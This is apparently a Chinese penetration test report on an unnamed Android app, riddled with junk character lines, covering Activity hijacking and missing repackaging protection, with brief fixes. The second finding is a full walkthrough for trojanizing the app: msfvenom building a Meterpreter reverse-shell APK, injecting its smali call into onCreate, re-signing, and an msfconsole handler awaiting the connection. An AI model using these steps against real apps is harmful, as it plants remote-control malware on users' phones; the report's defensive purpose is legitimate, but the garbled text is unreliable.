0 i8 N4 s7 ^, N( ^, T: Q9 Z6 o
% i, C3 N8 E L! x w 表1-2 测试结果
- t" m7 s4 l% C
& s, G6 V* [. U& g" C5 P: K; P
G4 T( c# ?) K5 R) l" _2 ~
, q: m0 M% u% Z; d0 A8 G
2 {6 }) |4 I' ~. T& v& O5 o
6 L& Y/ V6 s, M: H4 v, W) { 7 _9 o2 @1 [* b/ @& b
+ w% I' e/ c3 ]# Z7 t
/ [6 k6 E% e- ]7 N5 ` g
: C; H; ? r2 n7 b
?( q2 N6 W$ [/ g- w- h* f8 I+ G& D2 j, B2 q% t
2 检测结果 6 D9 j* f& D k: c6 a& ^
0 |, W5 S0 T5 w- Y% ]8 o0 W
, Z8 e2 d( f Q" `6 f
4 R( y2 I% F' m) _7 n2 p2 F; T$ p& Y9 J
$ |) a r. f) x) ^1 o' x( K; {
S8 F* l6 x3 v# Q1 c+ V9 k0 t 2.1 某某某
+ ?5 N5 j' i! A2 R- Z Y6 g0 V3 f
# O: u& t+ ]" U$ o. n9 q& J
- @, Q- o/ Z8 x+ v ; [- b& _6 D: t$ K8 T
7 Y M0 q! H4 Q( i 2.1.1检测目标
6 |% m* w+ a" C- n
/ w* t! S& j" H' l `
: b/ k9 p; Z% B
2 ^6 |. N. g2 ?$ L; }* o
! @: r4 W5 U# _. F
' w4 y8 ^0 m! H4 L0 U5 g 目标地址: 某某某某某某APP , O* ~5 N+ Z3 V% q' M# [ ~$ C9 }
* ?2 ]3 N7 t: \9 Z; @
) J9 o7 M- t6 A; d0 `
4 i% r0 o# ?2 o! ?7 Y
s a, n0 `" q# O
& \7 D& U6 p4 A8 A 2.1.2检测结果
, `6 A( A8 n6 H8 j8 ]% r- X% t3 L7 J* e8 s, ?" ~
1 J5 N( k( j, I M( ^1 F7 n1 r
8 E% i1 @; Q- z/ J K: k) ]7 w2 e
" l, [ l# y0 z; `4 P2 U
2.1.2.1 ; U9 v) ~ u% c6 o! M3 q% G
& ]. v( A( d! f+ W5 M
* g! f0 a \0 N( g# Q* \7 f+ @' K/ `4 `1 W: ?3 ^6 C# u
% U! D: y* W- {2 A) Z
. N: [" c9 } @ 漏洞链接地址:某某某某某某APP
0 }+ Q: f/ D9 O0 T" n
- K, X9 {* G4 d6 {
5 o& |4 _6 s% x4 c& q. W
' A i/ v5 q7 Y6 a & D s( r: P | F2 e/ k
) V+ I# Z; n: H% ~. @2 N$ e7 Q5 u; }. ]
+ N. |1 V( w/ [7 J3 i) }) U. N$ x9 d2 U0 _3 B
$ A7 k% {$ o# Z: S0 N$ \. q# e
1 G/ w) l6 o3 \
! }' ?& e5 l* C7 l- Y
* F; Y) w- h6 u8 _# O( D
漏洞分析及取证: 2 o! s5 b7 |+ T7 ?, ~
* Q2 @3 B( r. B" Y8 W d4 s
/ f5 q* v/ o9 m( A. c
# M: L S4 J8 G7 V $ T2 D# V! r( O8 O X+ g
: Y+ Z4 f5 n+ s) H( ^& H' } 通过androidkiiler反编译,发现app未进行安全加固, Activity 为com.minivision.cmcc.activity.SubActivity可被劫持,复现漏洞如图:
! p* g+ L, Q# `4 p, j; [6 ]4 q5 |2 p# e, @$ j4 V
9 Z1 E# _5 b$ K. E
; a" u6 E3 x4 K0 G; c) }+ ^ 5 [! A* u8 K. ^$ O+ ^4 t, C
: V2 L; a# L3 @" A
/ w- f3 A6 M9 F& h
, n7 k- _: m' h/ f
4 h, p B% u: }( D. ]( Q2 c5 G2 i
3 ~9 z: N+ x; `1 [0 g4 {
- m4 `6 l8 @4 g& Q/ \
: y8 m: Z& K2 J% A! H
& i: [2 D. U: B- ]3 n) r
) i# S0 s0 z9 s) p- e. c* L
7 `" C! G3 {4 H- ]
0 E; W, K1 V1 |( `: K) }" C% p& d, p" ~
4 ]9 n* _! j5 e4 S8 i4 _8 j( S9 e4 V
. Y. D/ l1 O% P5 @4 T Q# y
; N a r+ z: @0 j; d2 _
; E/ x% {6 A7 ]9 M
2 y& H4 r0 J4 j( `& H* C' o" C/ ?
+ M5 _: m, V# n% t3 N$ _
1 w# C9 c; e5 t' e. \ l; r' I
. T8 \8 v% T3 o! H( O$ h
$ |8 e5 y9 E4 ~/ z3 S/ o! R 6 J) W. r+ J) S4 u* f& `1 F; o! T
2 ^: S/ Z' n5 p1 v# h
" |, _4 [1 r$ M" e* m% b
1 r1 F8 ^% q- v( Q( X- W
1 Q, |& T- w; ~9 M) V7 _( r
9 ]5 Y2 C2 R9 \2 F6 ^# M" T 6 [1 V+ w, h$ k4 H c; O9 s
' j7 E( k8 D F" J 漏洞危害:高
+ ^0 u) V! D' w( J4 o1 U7 |
7 Q }+ D5 L' ?" Z7 b: ]6 K
. Q8 X; ?( D$ t* @' n6 T6 c; ?- ^8 T1 m8 |4 d3 Y
$ R. Z. t) m; e# T* N5 p1 |5 e4 A4 r
; h. f& O( n* F& F5 U
' `' f" Z( z5 ]5 y
5 Z( ?5 Z# \" K9 x3 A' ?- O% C( z! L7 A7 w5 f- }. {4 B
/ O* E' ]' L( t' y- c: R$ R6 r% u3 N! I
| 3 @2 L* `8 j5 l# Z
6 v4 J' I1 D E! U; ^/ T4 ~ 2 s' b) L% L' c; x: U- e7 ~5 g
1 w$ T" K+ U/ f; a 严重程度
+ j: _7 J X5 p5 x4 C
( ]* w5 s# J( x b& w2 Q& `: }4 L
2 V: S( g' B0 ^7 O9 k$ U6 @/ _- @) T: l7 x$ k. o, q
| # O( P( ?! z$ D5 |7 y3 B
k, ?# f! b. C7 ~2 @( d# g
9 z& T, r4 i! t7 v- j
1 P3 T! d% a9 o# E " b7 V h) @( B0 i2 X
# j; n: _9 J' k/ r/ A$ u: ]: o 高 % K7 ^% _( A) a
/ X5 q% Q9 [; ]: @( ~7 h* @, v8 i % n# [+ s8 r2 O5 _( E! s
: k) C9 s/ u: f5 u' Y- `& L
| + m. `/ i4 G9 C& L' I o0 }6 o
- @, e+ X3 t4 U; X8 u# F) e' g$ a 5 Z$ p+ V9 @4 J! [1 ]/ g+ E
) P: E: J6 P4 g. r4 ^6 c
; ^' A. H4 j. {! m4 b4 y
5 w- a) P' e+ @2 J
■
. s* y4 b) _6 R4 }2 T
8 |7 e( {9 L0 i( a2 n( `" o. x7 t 0 b1 o5 t1 }( W! O
* n! p( w1 V6 p, \6 O) Z
| ! N! \# \3 N! i0 q
4 Z. f, Q9 `& |% j; m & V5 y; w3 q9 s6 h! Z3 i
5 p5 S3 q& ^& u$ ^
6 e/ W* P2 M7 O" g
6 T# p* V- V8 J' `0 {) G 中 7 W6 M2 i; k9 s; d; A U
* G* _8 ~% J* z* E1 N7 |
5 i- S) _0 }( l6 H4 m; s( r6 H1 y9 V: o8 b6 F
|
1 n1 M" ^8 x+ c3 @9 q2 k6 {$ x- r/ k9 }3 J( j. @! A4 K8 G4 v
1 F) z& A# W8 a0 S; `/ k
9 V, b7 P; A& ]1 I, s: N+ \
9 G1 a- C! P' \1 Z& f a
* X0 m# b& r5 ]
& v* o o' `: M4 ]/ U. f6 Y
3 y3 T4 O: l- U) X6 ?
% `8 l1 {9 b& O6 H& {3 _, @+ w1 x5 h* W- t9 k* z- F! g
| ! O, h& ]1 S" ]9 m* q- F5 R
# \- f \7 q8 S( G% j, Z- h- C' P3 O
+ Q1 C8 G* _+ E/ M2 Y% q) G; w: U! x3 `$ S6 p$ T' e
, p0 t: C& q' e* G2 L. N: X2 C) O9 ]7 ^9 }) e0 r
低
% t+ m7 U2 n1 _% i; ?1 L5 s) O p- ?) h8 ^
/ R! V: [0 \, W7 J+ ~& I- t; |5 y; Q9 a3 y) C
| + e3 k4 U8 D% u! J5 K4 P3 c' Z% g; x
: }0 X$ j" N* ?' {& G. R
( ^" e! b# ~7 z% u( V% t9 f) t3 S6 c$ B% t' K* v( O1 X
! X* g+ i k4 A4 W% P K2 R; p
r. N7 _ ]0 h( p
- _2 _4 e5 Y- Q
' i( Z2 J3 `' C, h( n C6 V
- d7 z# n) x+ r8 Y- H( @; ~
' L* Y' p4 ?! U+ L* @7 B | 2 E1 M: q' O, M
* X9 L) x, `% B/ N
) K, |; z' d3 V( T8 q
* d5 [3 z( l3 s. k- N; g 4 I% K. N. z7 @* l, Z6 y& d# H
4 \ J/ ]/ y) }% C! L
1 T6 T2 C0 N+ m8 K6 o! r- y" V: \7 C& u
7 s2 W. b% ?% z" h& M, `
. o% ]( ?5 S/ Q2 o$ c' g
1 V; i9 X3 p4 m0 o* q. l; P
/ Z4 n% `1 u3 S0 t& F& p
3 f; C/ D$ d5 |
+ b8 P2 M/ m$ m* n/ c2 P f
& l3 G$ J% I" O p; w* E7 j' v
7 [" K/ a9 G2 Y- ]2 \: T% d q3 `7 f, {6 ^) f8 _6 ?
2 P/ h# R3 m+ s9 o& w7 l0 z 修复方法:在 APP 的 Activity 界面(也就是 MainActivity)中重写 onKeyDown 方法和 onPause 方法,当其被覆盖时,就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的(触摸返回键或 HOME 键),如果是用户自己触发的则无需弹出警示,否则弹出警示信息。
" o: A# S8 l' q9 Z/ E) j
$ o) ^1 r, Z7 ?& t2 {) {" @& l
$ S" N% z- g. \& d& } h3 D; M" j% d
9 f" S- u, ?" N; e7 T
. v: z N1 S0 V% G0 E& a ) _- P0 l* F* g- V' h3 H- k; x: j+ @: }/ M
, {, [. f: w- N/ A7 y
3 m- B. m) a8 z: j1 ~
6 }$ H" P9 Y: h7 |3 D
, |! U5 A) s: w" m8 s8 G; M: d
9 Z+ t n( G. t, ~ A4 y/ }7 x ( g- A e, {- |7 D9 ?$ \
; x5 h, y$ V! l
$ B! g* J9 N% A! o
' q( Z: D4 ^; P 8 a- x5 c! S* h9 {
v# c' G& \4 s/ E. A 2.1.2.2 & t9 E0 f2 W; N0 S3 j5 H/ w
7 J. C) w# [! T+ f# |- Y
" N8 o/ Q$ u/ I; J; E, ^
5 E1 x2 K% F7 N 2 W4 M% \# p/ B3 G9 m
2 n( l7 N4 l$ U1 B( {; _" [ 漏洞链接地址:某某某某某某APP & l: h! e! H3 f0 n
4 A+ v. Q+ D0 h" f% [
; u! d& N- ]7 _, {/ E7 {7 M
$ G: B# z9 r. I) B : H8 H$ t; P6 _0 v% M) [$ ] _' h
7 }4 A* l4 G1 S) Y% U% D' { 漏洞分析及取证: # r/ {3 g( F P- M
# `5 O! D' e5 T: D& K) R) C
0 L, F% i4 ]4 M( _, k3 R9 w4 H! }& w
- W2 h/ x& E- J! x) ?( t/ S
, w- W/ E- L3 y9 l9 G* g8 i4 @0 V& H' F
6 a5 F: V: ~- \7 `2 S 通过反编译,发现程序未加壳加密,可直接反编译获取源码,经过测试可修改app代码捆绑木马或者植入广告等操作,复现详细方法如下: 0 }* e0 N8 S+ q/ B: q% N9 x
( K- m" c7 g" j3 f" n0 Q
. Q, r# o: T- c5 s4 i
$ V$ I* D& G3 _7 p( {. _ 9 k1 ^! L4 c$ N1 t0 }- r. r. ]
4 f4 V, k5 B6 a1 d- Y+ g
用Metasploit 生成木马 apk 4 O! b. s7 h6 p% p
- G% Y+ n" c9 \' T: i2 N# T6 c8 g; q
0 }! d* V# d7 v9 s6 @
1 C$ P ]" e# `+ g
+ R9 R7 X' W! p; h
7 x+ E# t) D4 g" d. ?
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk
/ c1 p3 {, w3 w- T) N, w0 ~, ]( O$ {, l
; X" x% K8 s: i/ ^) }% d9 M2 U' s1 J" h I5 X% S
6 d8 f1 a# s' ^% R Y7 x* @! {
6 L" {& t) s3 t$ h8 ] O8 p4 x) e 反编译目标apk和木马apk 3 _$ l- Z4 F. O" `
" p5 K7 h, @9 a6 n+ I
, P: w' J; V2 I2 {
4 [" m1 ^( |4 U) [
3 r% c* i1 @/ P, j3 A
_$ o, p" P& C' X
apktool d target.apk
- L0 Q8 N7 A' E: S2 S5 D2 ~. q; W7 c$ K+ A
apktool d cockhorse.apk
5 z7 T( c7 V o1 D$ k( p0 Q0 |$ p C" t( A9 |5 ?9 O5 ^& n
! Q& ?) I2 }2 _: {. F7 k- l3 ^# M
6 T8 }: x/ `; u, I
, ^7 G5 P" v7 p- a- w
% u9 ]% \) j ?6 V 木马 apk 注入目标 apk * A% j# N! `8 L0 a7 g
" {0 d: a& v& H2 x. ]% {
" p8 A. K6 f6 q5 U. ^
- A6 e+ H' d" ]7 s0 R3 p
; x7 X5 F- U; w6 W. ?5 O. v& z6 N# r/ d% X% a
在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件,并在 onCreate()方法中添加如下代码:
2 m. g- Y4 Z8 Y6 C! j
6 f; I# e: i# f, }
invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V ' [6 K }2 N1 f' _, V" G- ~& b
1 W8 q) {: b; g+ X3 X# ?
6 i% [* j9 O5 Q+ Q
5 ~6 W5 b# [- b" l
/ e1 | i- f( u3 B% v9 W- q
' A7 h h" n; G, \8 O! D3 n2 U
将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中,去除重复
8 `+ V4 a/ U5 S
: y: N9 X6 W3 B. {* Q
2 u/ O/ f. J8 C/ C( N
9 ~6 X3 q: w: u0 X1 q
- p- X) q% K- d
- V$ _) L6 e; L 将木马文件的 smali 文件放到目标文件下,例如 com/metasploit 文件复制到目标文件 com/ 下 * C/ g0 G9 M5 C. L- z& @* k
7 `8 z4 s: T7 m: e4 t2 y# b
4 L- ]4 U1 A, H9 P
) x1 s( x' C/ U" {6 k0 ^7 z# v
+ U$ b0 w* a. N
7 r9 u7 V1 I) w' W. F, s, |8 k# i/ ~ 回编译生成最终 apk 3 M5 |0 z& F3 Q4 Y* b" e
! {* S3 H( y. L8 M S
$ u. U2 T' A$ k" @1 `% v2 d3 N
$ o& ^' V3 U6 Y6 Z6 f- {
# A3 N! W7 y# S9 e) ~+ y, Z$ N) C8 \4 e& L
重新打包
# \6 e) ^* k S4 y' k
# p% s7 p) l4 `8 N, Q9 ~
3 e4 B3 D0 A+ `" m. Z7 K: A$ z
( i4 n5 }: v' r- ^
5 f8 b4 ~- Y9 D1 \9 b
- w/ V8 N+ ^4 Q6 @$ F apktool b -o repackage.apk target_app_floder
" c; R3 g% v+ \8 L8 |! t: g3 n n! C6 c' s" t
; B& v. o; q' q r s, ]
1 z# ?0 G q4 z- o f5 e
& v' T* _, p' L' o3 c/ S( q: A! y$ A5 f' P
创建签名文件,有的话可忽略此步骤
- ^% H0 u% t5 r8 M/ ^' r
5 L) V% a3 M3 p- d* ^( ^
, g2 P& G9 z1 U) c5 q# v+ T
" X3 I" A3 J' m; Y5 R% i
0 \9 h- B [' [) }4 @1 L$ e# @0 n ]/ {
keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000
$ b" k C% P$ K8 o5 K; \' m, a9 ^6 W! t v7 i1 P/ `& v
5 p* n+ X4 ]! h7 I; Y$ v
! p$ U, ?4 [4 P) k O. F 1 F' M7 ?2 P& d+ r! z' h$ [* u
$ k' d6 B( s2 h 签名,以下任选其一 + B0 H% Q, W c/ _8 e( c; g
2 V- Z& B! y8 M
! V7 _+ w. {4 d! `) O' A
' z4 I: A* a! ]' `, p' V# ~: t
( [7 A5 F; _' K0 d+ z" g+ x4 C
; {9 v- ]3 n! e
jarsigner 方式
% c5 N9 |+ n+ K+ U5 S* p' L
. o7 h2 {. r# h
8 t+ c3 e' G- P3 n& e0 |/ w+ o+ L7 d
3 i! D: s, |, x- K u; t: n7 ^ c0 m: ~
jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname + x' o2 @( G8 p' U. t
& x7 z$ B$ n0 z( R& y
+ e Q! ?5 s7 P$ q+ d9 j& k+ l7 ^' u7 r R/ k+ T7 m ?' ?& X
' U& U1 ~( a% H/ n- w
( ?* N0 ?% K' @6 |; q apksigner 方式 ; ^8 E; b$ m y
4 {% z+ D b) o, E4 T
+ Z, r1 g5 k' p5 m! w/ ?8 z& t7 H/ @" l. _* d
3 ]" m: b: L8 K0 R0 t3 B7 G- f; M4 g7 l9 j
apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk
1 g) W5 T7 U8 k9 J; A( c6 ]4 b
. L7 T1 U2 d+ Z9 D% J$ V
) `+ `5 o$ y* ]5 u% ~! R+ n3 \' m0 j4 q1 x( x0 b: z
' e3 [1 p+ R1 j" E8 c8 h6 d
& K7 [. X `" k8 g L. w6 [
如需要禁用 v2签名 添加选项--v2-signing-enabled false & F8 j! k- |3 k" L. d1 X- C
& T d# i3 X) [8 X) p2 t
* W0 R. K0 T- ]2 O z3 W% \5 L8 S
) G# {8 H% h$ o* Y2 @
* P) ~& m/ h* z# _0 ?
k' } B( c8 b/ D! z y4 l; ? 验证,以下任选其一
& h+ z; C% C1 c/ {2 Q6 F3 k4 { y
: V8 g+ R" e2 c. K
, O1 U9 U: F x8 \5 K
: t2 M$ r: E' ^$ b+ r9 V* J . S6 S7 [, h# F
0 X! m# A9 m& K7 e+ _0 s* @ jarsigner方式
$ b; a3 ]0 z& r" p) T
, @2 h+ J; d; G r$ O
5 x* W+ q$ s* R* p5 d
1 W+ `& j) ?1 w% q) S
- t4 c: q/ n. K2 o8 Z3 X. K( q4 z) t
' S6 O( z% F' G3 L3 u0 \ jarsigner -verify repackaged.apk # |+ y6 j; `' I1 q# Z
2 x4 G# }3 ~, }; t' o+ h! r4 o. C
( Y, p% p, r; j, S6 W
+ v# g6 h1 z6 j: z) r- f }9 _, Q C# {, Y
, y$ ]3 C7 c! t9 m# v+ H5 y
apksigner 方式
( U j0 B; U- J7 D% ^4 R( h% X! g" h1 G! D
+ W c0 |. Q- z, E& L% ~
" P1 b& ?! a+ X. W3 x
% r$ \; v) N: U3 I2 J; F* }* W7 u* a2 W" T+ @% \
apksigner verify -v --print-certs repackaged.apk
% F' X! |- y1 ^( T
7 e* X+ P, w7 N! N5 p+ |
% `% p2 H) e4 S
# F) z0 [6 ?2 H
8 y; n2 D9 T5 a. J( c( ]
$ Q0 ^& ` L* i$ p* L N keytool方式
/ m* |+ t! j, s$ x- N! Z* A" j0 J9 y
}$ G: u7 s. ]+ h" b2 a/ j! ?
' Z) P" Y1 I* G' T" W' M; f) ?& |8 _ 6 C: c# c0 J! P9 Y& J$ \1 I" x3 {
7 D1 a y. ]0 L* V' _( E keytool -printcert -jarfile repackaged.apk
" e; g9 Z, V3 f( \. p6 F- l& S; ]% i
. H) v) z, c/ U" c! H
5 L1 a1 r' t! W3 Z0 ^ * x3 k# S6 ?, C( J
: x6 S# S. r, G" R* e6 }: b
对齐
: j& R5 d u7 e2 `$ ~8 w9 g% E
8 E- p7 Y: ~( V
/ ?8 a- {- D) C- i6 \
, F% p0 l8 s5 X: ]. N ; q7 k9 E) H' f6 ]( V! o1 G8 d
& g. b# a7 q! h, ?& s- d 字节对齐优化 & J; [2 _) Z2 T6 [, p. u" \
! Y! n* e( l) Y8 w; }1 T9 }
, E0 p" X- G7 B8 A1 b( t
0 T; b/ W2 m8 `
8 z# V/ E9 e0 r: _
: `) \( Y8 f7 V* Q. L zipalign -v 4 repackaged.apk final.apk ; o6 \( o5 n" r( r' b3 `
' q/ F& S3 v2 M; |
* K% ^% [; l# P4 B" |
% s0 l7 `3 ~$ F! @8 W" C0 Q
& p5 D: b1 I" c v' n7 }
8 o% a0 z2 L. \; _, i, y 检查是否对齐 F( k/ p4 J, W3 {0 S1 t& C
5 O4 _2 i) d, ?4 a K: R
5 v/ L9 d3 z1 s4 r
* d0 G! H+ C$ a& `3 P3 D+ R; } ! Q" L2 }; y6 f1 ^9 u" q( B* g$ x
* C X7 Y* I; S8 q* ?. K+ x
zipalign -c -v 4 final.apk ) U, a& o# o& V9 k9 q7 h' k
1 D( r! Q! M0 K
9 ^9 y; i3 G2 R6 W2 M2 ]2 ^# o; [/ g+ N) ? \5 ?
+ [+ E6 m3 A" E+ Z, [2 Q% x: }
( l& X1 @1 M2 G( z2 n4 ~- K/ C 注:zipalign可以在V1签名后执行,但zipalign不能在V2签名后执行,只能在V2签名之前执行
# Y, I( [0 z# K
7 M8 m, @7 Q2 P- B3 y5 ]
4 U r$ j5 z) O. t% z4 I
3 m: x3 e5 x. K. S3 u; x& z7 v8 V
' ?4 ^$ `5 w6 C. k/ G5 V. v' w' l( J1 \1 f# P) [/ }6 t0 _6 c
启动Metasploit控制台,配置参数等待上线 3 E$ y8 J) _7 b" E
8 v& l! o- o, N, }3 O' F w
* o8 _" `0 Q" p" Z! l
/ k# B1 z i) F
2 N" [) b. ]3 `- |& L& e8 ^6 C& t) J: u+ u
在终端依次输入如下命令
$ [; h1 {( x% e6 U, {% ?
/ ~% J- U; Y6 |9 Z$ ]5 [% j. _, }
7 I+ t( ~( v' a& K
, h! [" ]$ b7 s3 u& ~( i
' l3 R, p; u8 g, r7 q# l
6 p" y2 Y {1 y0 |' z msfconsole * j: X1 d; a$ j* g3 H4 j: t
2 t. ^; z# }' m0 @
8 R! |- }& F1 x: F# ^
& z* a# h, I5 `# u! |; h
. t, l4 P. k% e2 @$ k9 {1 w& o" B
% S0 d u8 }8 K" I% K+ _; a use exploit/multi/handler 0 B5 r, b" g8 U. V6 l2 K
U! r9 c. c- A v; Q4 G% f$ q- W
3 L* _) a# }- x3 i4 W# x5 M$ [
2 T: @" I. C- G
8 |1 ^2 f# d# Q4 |$ G- o; [" j5 @$ x* U7 J* S9 A7 J/ r/ c0 g
set PAYLOAD android/meterpreter/reverse_tcp / a; P9 F! Y/ @$ R4 l( O2 z
8 n( h0 S6 u8 `, x6 o6 _, G
r4 k6 h2 I- ?. Y0 K) l \0 v" N7 g/ E9 w3 W+ y% g: |' O3 m
3 B( u. `2 q5 U+ d: d
! M. @3 o ^7 Y5 R5 T set LHOST 192.xxx.xx.xx
: @' |1 z2 H& M7 h/ @! l; g0 G
; D: I+ n; v1 C. Y O
- i6 P& K/ J5 \" R
: z( i2 z; H7 |# H2 [ t) l7 ? # p8 M% A$ m" o
( l( v' o9 \- k2 t
set LPORT 4444 4 {& [( G8 M0 O i- K W" O2 P
6 s: }0 O4 a. n( b7 P5 V
* O! o9 h9 n# w* G' ]- l0 b; C; f. i: R- t
# z" e/ v0 p& g w- ~; ~2 j
' a. I! o7 D! ?* I- l exploit
5 ]6 O& l% E- r2 s
P, M2 u5 T; S8 u* V# e( r+ \* s
8 W8 ` J5 O+ y! u' f. k+ P% ~
0 H w( I' _" a1 P/ Q- Y" m
% P6 _& C9 P! C1 q
9 @+ E1 d3 Q) N& Q6 c" `# e5 ` 之前我们把入口放在 MainActivity 的 onCreate 方法中,当启动目标应用进入该界面,就会连接成功,如下图:
) |3 a# E. E+ R0 t7 z
9 P* G' x: ~0 x
! b" z/ p; e* t" [5 x3 x6 Z- a& s
$ W- Q% `# @& C9 b
5 `9 a6 e# O% E! j$ P
: v" M3 V4 z$ @* s& v6 s, @ 漏洞危害:中
6 g/ q! `9 r# z' o- J% c$ c J% q# c. w. m1 ]& G& S+ Q
( H2 Q$ T' |+ a. q
4 U; V* q# ]1 ^
! a7 g E: W$ x9 m
+ s0 i& }0 d# E* f- V0 t# t ' k! K7 b3 w; i2 \( w6 o& B. o: @
6 U. l. y2 \& H) B4 f6 K5 _/ M3 [7 t 3 g( b8 b6 `5 v* r8 S
( i5 ~. z/ T0 E3 w5 ?& z5 q
- O+ H3 u0 u; Q, M. n
3 K4 }# k. ]0 O6 Y
* ~9 Q7 r! K/ S' D( a
3 }. P: O; Q9 G l: y, n | . c l, t: s m$ s' V& t6 B7 r& X/ U/ E
7 p1 T8 u3 l+ `8 v, \$ ^( O, j ! m" X6 ^) S( @4 q8 J* U
# Y: M( k- j7 d& z5 B 严重程度 , C! v5 y: [0 b! A+ v9 A
! f/ m* Z: x; {6 A1 P6 |
3 M2 `$ e+ m/ E# n7 e& n& J9 f2 [0 W3 ~% Y2 }
|
' E2 S/ B! y) U' [9 T+ i* s: {5 F v- r8 a6 g5 W; m
# j& a& i+ |) z; _; ~
) k- \, g9 z! L# D8 l8 Y3 s
! T. \2 H% D4 Z3 @' O0 \0 d
! w. q; c9 W: z0 f* b, e. y2 G 高 . F5 Y0 x1 I7 }/ n3 I
a0 X8 p1 }: W; R, i: O6 N4 O B5 ?6 e: i! J, D% b8 F
9 c- H. |2 A! X& B( n E, d5 v
| # l6 I# x6 Z( `3 y
" q+ f) O: p @/ M: D! q# `, K
4 |0 c" m3 V1 O- q5 ^2 n
4 j: _- n- ~ v4 w6 E% v3 @2 Y9 T
: w9 Q' z) P |' E8 p
) {' W6 z3 T* Q/ [. g ■ 8 s" u* U( M t
) o/ h0 \( ^; D- d+ m" M) l2 ~
) ^1 U$ x5 w% J/ q G
+ ~# ?3 \( G$ k* J/ g' p |
' U& t/ b2 \; e" k0 b0 W, a% y6 L: @6 B- P7 N; o
1 l7 V* Z/ ~. n$ Q1 \
, b1 k/ ^8 Y! ?9 ^* f- n/ ?9 x
0 e; I( e6 Z: m" J! a
7 ~# c+ X9 R- A! |4 v. }/ H 中 2 E" T% b& N8 d' i
/ Z8 ?2 a% G) p9 x+ v
- d' Q8 Z7 p+ B$ k; A
. w7 L1 F5 ]' n9 D. q |
) A# _4 h8 [ u8 _ _! J# m4 \8 D8 ^4 l ?1 Q6 G$ |; u
, \6 V$ Y) I' }$ L! N* e: V
/ V9 g q; D) a8 E8 \
: L9 r; [" m) O2 W
+ Q+ S( \5 b" I* B$ D$ I
/ Y3 {$ B' `) S' Z. o0 }% n
3 G; G, s) z0 }0 b+ V8 } 7 n k9 N, C x5 H* g) F
! P5 }, A+ e9 ~4 ?5 d
) Y3 g. n# P, i- f! ~$ _; q
9 H& {- a- v, r. W- X% l6 _ |
5 M, X; o. {! Y1 p+ @6 |: I$ a/ i E+ F6 g& x7 p! u" [5 c# ~
+ H) d8 V5 F: p8 S9 f& j( D3 w4 Z+ W& t' G8 c4 M
7 b& i# A2 e2 c* p7 T
1 C6 \- }- i+ k5 S* V 低 1 i" U- B G, q$ {" L
5 q3 I, V) ]% R$ Y$ Q' T
/ [8 U( m' }" T8 h
5 b4 F8 x) m- d1 ? g4 E Y$ _8 ` | : S, g6 u; W5 R4 d
% C* h) Z" x1 ?; G
- q ?4 D9 X3 Y( d, B1 W
" h$ B) G; E! D+ w, v
5 y& k/ m6 e0 x7 \/ @
. g( D" j+ o0 f# t% G" g. y, O+ O
7 o s( c: q- @0 ` z: L
* {3 o* h1 u5 T! A1 a, M7 f) g
- [ w& N }0 y! B. ^. i
! Y9 X. b: W1 [+ o6 ]# J
' o& L. h) l9 f" s- p
3 q0 L* R: K$ q" r |
8 A5 Y: d. z, C$ n, J ^" [4 ~. X6 o" Q
* N5 U6 U! m8 v1 ?" t4 T3 O$ a# z- e N4 |
+ O K- X6 u O" B" F3 P
& i+ m, z3 J, g: g% A2 V) l8 o. P
+ _4 A" _0 q6 M$ \& @- [# V
4 I Q( Q8 ], V( D 6 E# m4 t$ D( Q/ s+ G: a8 f7 f
$ W2 m' U; l7 f* r, Y) W
$ t+ _) y, m# c
. ~9 g) D* y1 e h, }
4 C8 q3 |# R# P
( C7 a: ]: w$ o- k, I4 K1 ^
2 ?. C# z% y1 v, a w: B) b2 G8 p4 _* l5 f
" k' e6 P8 {" g$ n8 i6 ?% g
8 B+ o" h* P W. K
修复方法:
% M4 n* Q( }0 ?" Z; d$ `( r% ? M H4 q& _0 S8 H. k; l7 r: O
3 O7 O7 o( j# G
5 T8 f1 Q" w0 @1 B& x
3 R9 T: J2 F9 G$ O) Z1 i
! o) H, w8 O& V6 p1 q4 s 1.在 APP 启动时应做签名校验防止二次打包。
( |1 v" `* w; M
4 y" t0 u6 n/ k5 ~ 2.建议采用客户端、通信和服务器端联动防御方案进行安全防御。
: |5 P6 O7 J( k" e: v8 s4 S
; n Z! H4 g- Z3 T: z4 G; p2 I7 t: s
% f8 Z7 X2 r# Z' ~2 B% g
7 i( K' k) f+ H. D6 D# n2 {6 n
2 z$ Z- W% A' G% |4 m1 b6 j' N5 B0 ]1 D. I: m% b& S9 e1 A
1 Y. R8 a* K' m. r
; Q( p7 k$ u) V6 i9 z( L2 K 1 Y0 a* _1 X% p/ [ @
6 o8 u/ t7 g7 g- {0 g# ?
3 q8 z, g# R" I+ r/ K) e
1 l8 Q+ h, L, y1 z' R F# f F3 e F9 ?! ~
! \! s5 J" c, g
, t% `7 Y7 ?6 n: y4 X
2 }- e# c$ ?" B
$ B* f& @- T& g ~% i, D+ s
4 ^% Q) L6 g3 T# V
- E6 Q- J0 x) c( M' j" ~4 z. }+ E: t7 b- L. f% f; b* r- S/ e